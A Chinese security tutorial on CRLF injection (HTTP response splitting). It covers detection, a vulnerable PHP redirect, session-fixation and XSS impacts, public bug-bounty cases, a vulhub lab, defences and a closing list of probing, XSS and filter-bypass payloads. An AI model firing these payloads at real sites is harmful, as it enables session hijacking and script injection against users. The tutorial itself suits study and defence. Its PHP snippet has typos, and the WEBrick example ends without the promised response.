CRLF注入（HTTP响应拆分/截断）

前言

2023年HW厂商斗象面试题——CRLF注入

一、漏洞描述

HTTP报文中， HTTP header之间是由一个CRLF字符序列分隔开的，HTTP Header与Body是用两个CRLF分隔的，浏览器根据这两个CRLF来取出HTTP内容并显示出来。

CRLF注入漏洞，是因为Web应用没有对用户输入做严格验证，导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF，就能注入一些首部字段或报文主体，并在响应中输出，所以又称为HTTP响应拆分漏洞（HTTP Response Splitting）。

所以如果用户的输入在HTTP返回包的Header处回显，便可以通过CRLF来提前结束响应头，在响应内容处注入攻击脚本。因此CRLF Injection又叫HTTP响应拆分/截断（HTTP Response Splitting）简称HRS。

二、漏洞知识拓展

CRLF指的是回车符(CR，ASCII 13，\r，%0d) 和换行符(LF，ASCII 10，\n，%0a)。

CRLF的概念源自打字机，表明行的结束，计算机出现后沿用了这个概念。

回车符：光标移到行首，
换行符：光标垂直移到下行。

键盘上的回车键(Enter)就可以执行该操作。但是不同的操作系统，行的结束符是不一样的

Windows：使用CRLF表示行的结束
Linux/Unix：使用LF表示行的结束
MacOS：早期使用CR表示，现在好像也用LF表示行的结束

所以同一文件在不同操作系统中打开，内容格式可能会出现差异，这是行结束符不一致导致的。

三、漏洞检测

CRLF注入漏洞的本质和XSS有点相似，攻击者将恶意数据发送给易受攻击的Web应用程序，Web应用程序将恶意数据输出在HTTP响应头中。（XSS一般输出在主体中）

所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL，注入恶意的CRLF，查看构造的恶意数据是否在响应头中输出。

1、找到注入点，构造恶意的CRLF字符

正常请求

http://wolke.cn/index.php?url=http://baidu.com

抓包，在请求行的url参数中加入特殊构造的CRLF字符

GET /index.php?url=http://baidu.com%0d%0aSet-Cookie:crlf=true HTTP/1.1
Host: wolke.cn
Cookie: _ga=GA1.1.1945309492.1638725693; _ga_Q0YHC68NHX=GS1.1.1677577526.284.0.1677577526.0.0.0
Sec-Ch-Ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

2、查看恶意数据是否在响应头中输出

将修改后的请求包提交给服务器端，查看服务器端的响应。发现响应首部中多了个Set-Cookie字段。这就证实了该系统存在CRLF注入漏洞，因为我们输入的恶意数据，作为响应首部字段返回给了客户端。

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com
Set-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html

很多人看到这里可能就想不明白，我请求包写入的恶意数据，怎么就被当成响应首部字段输出了？下面我们来看看服务器端源代码

if(isset($_GET["url"]) && ($_COOKIE["security_level"]) != "1" && $_COOkIE["security_level"] != "2")){
  // Debugging
  // echo "Not santized: " . $_GET["url"];

  header("Location: " . $_GET["url"]);

  exit;
}

这是其中一段代码，用PHP写的，需要大家有一定的语言基础。这段代码的意思是：当条件满足时，将请求包中的url参数值拼接到Location字符串中，并设置成响应头发送给客户端。

此时服务器端接收到的url参数值是我们修改后的：

http://baidu.com%0d%0aSet-Cookie:crlf=true

在url参数值拼接到Location字符串中，设置成响应头后，响应包此时应该是下面这样的：

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com%0d%0aSet-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html

%0d和%0a分别是CR和LF的URL编码。前面我们讲到，HTTP规范中，行以CRLF结束。所以当检测到%0d%0a后，就认为Location首部字段这行结束了，Set-Cookie就会被认为是下一行，如下所示

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com
Set-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html

而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段，这个时候就会将crlf=true设置成Cookie。

GET /index.php?url=http://baidu.com%0d%0aSet-Cookie:crlf=true HTTP/1.1
Host: wolke.cn
Cookie: crlf=true; _ga=GA1.1.1945309492.1638725693; _ga_Q0YHC68NHX=GS1.1.1677577526.284.0.1677577526.0.0.0
Sec-Ch-Ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

重新请求，抓包，发现Cookie中多了crlf=true。

测试的用例大家可能会觉得这漏洞没什么危害性，但试想一下：利用漏洞，注入一个CRLF控制用户的Cookie，或者注入两个CRLF，控制返回给客户端的主体，该漏洞的危害不亚于XSS。

四、漏洞危害

根据插入的CRLF的个数不同，可设置任意的响应头，控制响应正文两个主要的利用办法。具体的危害表现在：会话固定、XSS、缓存病毒攻击、日志伪造等等。

1、会话固定(Session Fixation)

首先说说什么是会话固定攻击，会话固定攻击（session fixation attack）是利用应用系统在服务器的会话ID固定不变机制，借助他人用相同的会话ID获取认证和授权，然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。

会话固定也是会话劫持的一种类型。会话劫持是攻击者偷走受害者与服务器建立链接的会话，而会话固定是攻击者事先建立一个会话，然后诱使受害者使用此会话进行登录，如图所示。

一个常见的跳转响应包：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn

当攻击者利用CRLF字符对响应头中的Location进行如下输入：

%0d%0aSet-Cookie:JSPSESSID%3Dhackingsite

则返回包会变成：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn
Set-Cookie: JSPSESSID=hackingsite

攻击者就可以给访问者设置一个session，造成“会话固定”。通过这种攻击方式可以实现插入任意响应Header。

2、反射型XSS

上述案例，如果我们输入的是：

%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

则返回包会变为：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location:

<img src=1 onerror=alert(/xss/)>

浏览器会根据CRLF将http包分为header和body，然后将body中的内容执行，从而达到XSS。

从上面的案例中，如果遇到XSS过滤的情况我们还可以在httpheader中注入X-XSS-Protection: 0，可绕过浏览器的过滤规则实现XSS弹窗显示。

五、实战案例讲解

1、Shopify响应拆分

shopify会在后台中记录用户上次访问的是哪一个商店，然后将其放置在cookie，如访问/last_shop?xxx.shopify.com，则返回set-cookie:xxx.shopify.com，所以输入：

/last_shop?xxx.shopify.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>

最终解析的结果为：

Set-cookie: xxx.shopify.com
Content-Length: 0

HTTP/1.1 200 OK
Content-Type:text/html
Content-Length: 19

<html>deface</html>

2、Hackerone响应拆分

这个案例也是302跳转类型，但略有不同，访问

info.hacker.one/%0d%0a%09headername:%20headervalue

Location正常取值info.hacker.one，剩下的解析为Header头。

3、Twitter过渡绕过

用户在访问https://twitter.com/i/safety/report_story 地址时，服务器会获取参数reported_tweet_id的值，并将其设置到cookie中，最后导致了漏洞。

这里Twitter禁止用户提交换行符0x0a（%0a），但通过探测，发现其后端检测逻辑为：如果提交的数据是UTF-8编码过的，则会将其解码，去除无用字符后作为cookie输出，所以如果提交%E5%98%8A，不被拦截且经Unicode解码后变为U+560A，最后取0A，同样输入%E5%98%8D最后变成0D，最终payload为：

reported_tweet_id=%E5%98%8A%E5%98%8DSet-Cookie：%20test

探测漏洞存在，可进一步进行利用，输入：

reported_tweet_id=test%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE

经过服务器处理后返回的数据就会变成下面的html响应的形式：

Set-cookie: test
content-type: text/html
location:

<svg/onload=alert(innerHTML)>

4、WEBrick响应拆分

补充一例简单的CRLF，取自CVE-2017-17742：WEBrick取get参数author作为cookie输出，访问

localhost:8080/?author=Aaron%0D%0AX-Foo:%20hacked

返回报文：

六、靶场测试

利用docker搭建vulhub靶场，进入/vulhub/nginx/insecure-configuration目录

docker-compose up -d

8080端口是crlf漏洞靶场

Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，造成CRLF注入漏洞。

错误的配置文件示例（原本的目的是为了让http的请求跳转到https上）：

location / {
	return 302 https://$host$uri;
}

七、挖掘技巧

挖掘此类漏洞，依旧要遵循亘古不变的原则，观察我们的输入“输入“和“输出”位置，对于CRLF则是观察返回的各种类型的协议头，所以挖掘分三步：

1. 观察输出是否在返回头中，查看输入，可能是在URL值和参数、cookie头中。在过往的挖掘过程中，最常见的两种情况是使用输入参数创建 Cookie和302跳转location处。
2. 提交%0D%0A字符，验证服务器是否响应%0D%0A，若过滤可以通过双重编码绕过。
3. 漏洞利用，使杀伤最大化，将漏洞转化为HTML注入，XSS，缓存等。

八、防御手段

要避免http响应截断，需要注意以下几点：

1. 对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、”、CR、LF等，限制用户输入的CR和LF，或者对CR和LF字符正确编码后再输出，以防止注入自定义HTTP头。
2. 创建安全字符白名单，只接受白名单中的字符出现在HTTP响应头文件中。
3. 在将数据传送到http响应头之前，删除所有的换行符。

九、CRLF Payload

探测漏洞：
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header

开放重定向：
/www.google.com/%2f%2e%2e%0d%0aheader:header

CRLF-XSS：
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

XSS绕过：
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/

Location：
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

十、参考链接

• https://www.cnblogs.com/echojson/p/12805102.html
• https://www.freebuf.com/column/202762.html
• https://cloud.tencent.com/developer/article/1516335